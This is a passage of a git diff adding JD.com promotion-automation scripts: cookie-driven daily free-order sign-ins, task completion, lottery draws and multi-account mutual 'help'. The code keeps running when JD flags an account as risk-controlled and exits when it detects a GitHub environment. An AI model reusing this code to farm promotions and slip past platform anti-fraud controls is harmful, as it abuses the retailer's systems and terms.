this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_speed_signfree.js b/jd_speed_signfree.js new file mode 100644 index 0000000..4c3de60 --- /dev/null +++ b/jd_speed_signfree.js @@ -0,0 +1,214 @@ +/* + 入口>京东极速版>首页>签到免单 + 京东极速版,先下单,第二天开始签到 + 18 8,12,20 * * * jd_speed_signfree.js 签到免单 +*/ +const $ = new Env('京东极速版签到免单') +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.message = "\n"; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.mian_dan_list = [] + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + //await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.message += `【京东账号】${$.nickName || $.UserName}\n` + await get_order_ids(cookie) + if ($.mian_dan_list.length > 0) { + for (let i = 0; i < $.mian_dan_list.length; i++) { + const orderId = $.mian_dan_list[i]; + await sign(cookie, orderId); + await $.wait(2000) + } + } + } + } + // notify.sendNotify(`${$.name}`, $.message); +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function get_order_ids(cookie) { + return new Promise(resolve => { + try { + $.get({ + url: `https://api.m.jd.com/?functionId=signFreeHome&body=%7B%22linkId%22%3A%22PiuLvM8vamONsWzC0wqBGQ%22%7D&_t=${Date.now()}&appid=activities_platform`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'origin': 'https://signfree.jd.com', + 'sec-fetch-dest': 'empty', + 'x-requested-with': 'com.jd.jdlite', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'referer': 'https://signfree.jd.com/?activityId=PiuLvM8vamONsWzC0wqBGQ&lng=107.647085&lat=30.280608&sid=2c81fdcf0d34f67bacc5df5b2a4add6w&un_area=4_134_19915_0', + 'accept-encoding': 'gzip, deflate', + 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'cookie': cookie + } + }, (err, resp, data) => { + data = JSON.parse(data) + if (data.success == true) { + if (data.data.risk == true) { + console.log("风控用户,继续操作"); + $.message += "风控用户,继续操作\n" + // console.log("风控用户,跳过"); + // $.message += "风控用户,跳过\n" + // resolve() + // return + } + if (!data.data.signFreeOrderInfoList) { + console.log("没有需要签到的商品,请到京东极速版[签到免单]购买商品"); + $.message += "没有需要签到的商品,请到京东极速版[签到免单]购买商品\n" + resolve() + } else { + for (let i = 0; i < data.data.signFreeOrderInfoList.length; i++) { + var respdemo = { "success": true, "code": 0, "errMsg": "success", "data": { "newUser": false, "backRecord": false, "risk": false, "surplusCount": 2, "sumTotalFreeAmount": "0.00", "signFreeOrderInfoList": [{ "id": 472, "productName": "百事可乐 300ml*6瓶", "productImg": "jfs/t1/177052/32/20077/117620/611e1a4cE0065cc54/b19fb6ed2ff59493.jpg", "needSignDays": 20, "hasSignDays": 0, "freeAmount": "6.54", "moneyReceiveMode": "3", "orderId": 225947891472, "surplusTime": 0, "combination": 1 }], "interruptInfoList": null } } + const order = data.data.signFreeOrderInfoList[i]; + $.mian_dan_list.push(order.orderId) + console.log(`商品名称:${order.productName},商品id:${order.orderId}`); + $.message += `商品名称:${order.productName}\n` + } + } + } + resolve() + }) + } catch (error) { + $.logErr(e, resp) + resolve() + } + + + }) +} +function sign(cookie, orderId) { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com?functionId=signFreeSignIn&body=%7B%22linkId%22%3A%22PiuLvM8vamONsWzC0wqBGQ%22%2C%22orderId%22%3A${orderId}%7D&_t=${Date.now()}&appid=activities_platform`, + headers: { + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'origin': 'https://signfree.jd.com', + 'sec-fetch-dest': 'empty', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'content-type': 'application/x-www-form-urlencoded', + 'x-requested-with': 'com.jd.jdlite', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'referer': 'https://signfree.jd.com/?activityId=PiuLvM8vamONsWzC0wqBGQ&lng=107.647085&lat=30.280608&sid=2c81fdcf0d34f67bacc5df5b2a4add6w&un_area=4_134_19915_0', + 'accept-encoding': 'gzip, deflate', + 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'cookie': cookie + }, + } + $.post(options, async (err, resp, data) => { + try { + console.log(data); + data = JSON.parse(data) + var dataDemo = { "success": false, "code": 400015, "errMsg": "明日签到", "data": null } + if (data.success == false) { + console.log(data.errMsg); + } else { + console.log("签到成功"); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data || ""); + } + }) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_superBrand.js b/jd_superBrand.js new file mode 100644 index 0000000..389a442 --- /dev/null +++ b/jd_superBrand.js @@ -0,0 +1,363 @@ +/* + 特务集卡 + 脚本没有自动开卡,会尝试领取开卡奖励 +cron:35 10,18,20 * * * + +35 10,18,20 * * * jd_superBrand.js +* */ +const $ = new Env('特务Z-II'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = []; +let UA = ``; +$.allInvite = []; +let useInfo = {}; +$.helpEncryptAssignmentId = ''; +$.flag = false +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.0.8;14.6;${randomWord(false,40,40)};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + try{ + await main(); + }catch (e) { + console.log(JSON.stringify(e)); + } + if ($.flag) return; + await $.wait(1000); + } + if($.allInvite.length > 0 ){ + console.log(`\n开始脚本内互助\n`); + } + cookiesArr = getRandomArrayElements(cookiesArr,cookiesArr.length); + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.canHelp = true; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if(!useInfo[$.UserName]){ + continue; + } + $.encryptProjectId = useInfo[$.UserName]; + for (let j = 0; j < $.allInvite.length && $.canHelp; j++) { + $.codeInfo = $.allInvite[j]; + $.code = $.codeInfo.code; + if($.UserName === $.codeInfo.userName || $.codeInfo.time === 3){ + continue; + } + $.encryptAssignmentId = $.codeInfo.encryptAssignmentId; + console.log(`\n${$.UserName},去助力:${$.code}`); + await takeRequest('help'); + await $.wait(1000); + } + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}) + +async function main() { + $.runFlag = false; + $.activityInfo = {}; + await takeRequest('superBrandSecondFloorMainPage'); + if(JSON.stringify($.activityInfo) === '{}'){ + console.log(`获取活动详情失败`); + $.flag = true + return ; + } + console.log(`获取活动详情成功`); + $.activityId = $.activityInfo.activityBaseInfo.activityId; + $.activityName = $.activityInfo.activityBaseInfo.activityName; + $.callNumber = $.activityInfo.activityUserInfo.userStarNum; + console.log(`当前活动:${$.activityName},ID:${$.activityId},可抽奖次数:${$.callNumber}`); + $.encryptProjectId = $.activityInfo.activityBaseInfo.encryptProjectId; + useInfo[$.UserName] = $.encryptProjectId; + await $.wait(1000); + $.taskList = []; + await takeRequest('superBrandTaskList'); + await $.wait(1000); + await doTask(); + if($.runFlag){ + await takeRequest('superBrandSecondFloorMainPage'); + $.callNumber = $.activityInfo.activityUserInfo.userStarNum; + console.log(`可抽奖次数:${$.callNumber}`); + } + for (let i = 0; i < $.callNumber; i++) { + console.log(`进行抽奖`); + await takeRequest('superBrandTaskLottery');//抽奖 + await $.wait(1000); + } +} +async function doTask(){ + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if($.oneTask.completionFlag){ + console.log(`任务:${$.oneTask.assignmentName},已完成`); + continue; + } + if($.oneTask.assignmentType === 3 || $.oneTask.assignmentType === 0 || $.oneTask.assignmentType === 1 || $.oneTask.assignmentType === 7){ + if($.oneTask.assignmentType === 7){ + console.log(`任务:${$.oneTask.assignmentName},尝试领取开卡奖励;(不会自动开卡,如果你已经是会员,则会领取成功)`); + }else{ + console.log(`任务:${$.oneTask.assignmentName},去执行`); + } + let subInfo = $.oneTask.ext.followShop || $.oneTask.ext.brandMemberList || $.oneTask.ext.shoppingActivity ||''; + if(subInfo && subInfo[0]){ + $.runInfo = subInfo[0]; + }else{ + $.runInfo = {'itemId':null}; + } + await takeRequest('superBrandDoTask'); + await $.wait(1000); + $.runFlag = true; + }else if($.oneTask.assignmentType === 2){ + console.log(`助力码:${$.oneTask.ext.assistTaskDetail.itemId}`); + $.allInvite.push({ + 'userName':$.UserName, + 'code':$.oneTask.ext.assistTaskDetail.itemId, + 'time':0, + 'max':true, + 'encryptAssignmentId':$.oneTask.encryptAssignmentId + }); + } else if($.oneTask.assignmentType === 5) { + let signList = $.oneTask.ext.sign2 || []; + if (signList.length === 0) { + console.log(`任务:${$.oneTask.assignmentName},信息异常`); + } + //if ($.oneTask.assignmentName.indexOf('首页下拉') !== -1) { + for (let j = 0; j < signList.length; j++) { + if (signList[j].status === 1) { + console.log(`任务:${$.oneTask.assignmentName},去执行,请稍稍`); + let itemId = signList[j].itemId; + $.runInfo = {'itemId':itemId}; + await takeRequest('superBrandDoTask'); + await $.wait(3000); + } + } + //} + } + } +} +async function takeRequest(type) { + let url = ``; + let myRequest = ``; + switch (type) { + case 'superBrandSecondFloorMainPage': + url = `https://api.m.jd.com/api?functionId=superBrandSecondFloorMainPage&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22%7D`; + break; + case 'superBrandTaskList': + url = `https://api.m.jd.com/api?functionId=superBrandTaskList&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22assistInfoFlag%22:1%7D`; + break; + case 'superBrandDoTask': + if($.runInfo.itemId === null){ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22completionFlag%22:1,%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; + }else{ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; + } + if($.oneTask.assignmentType === 5){ + url = 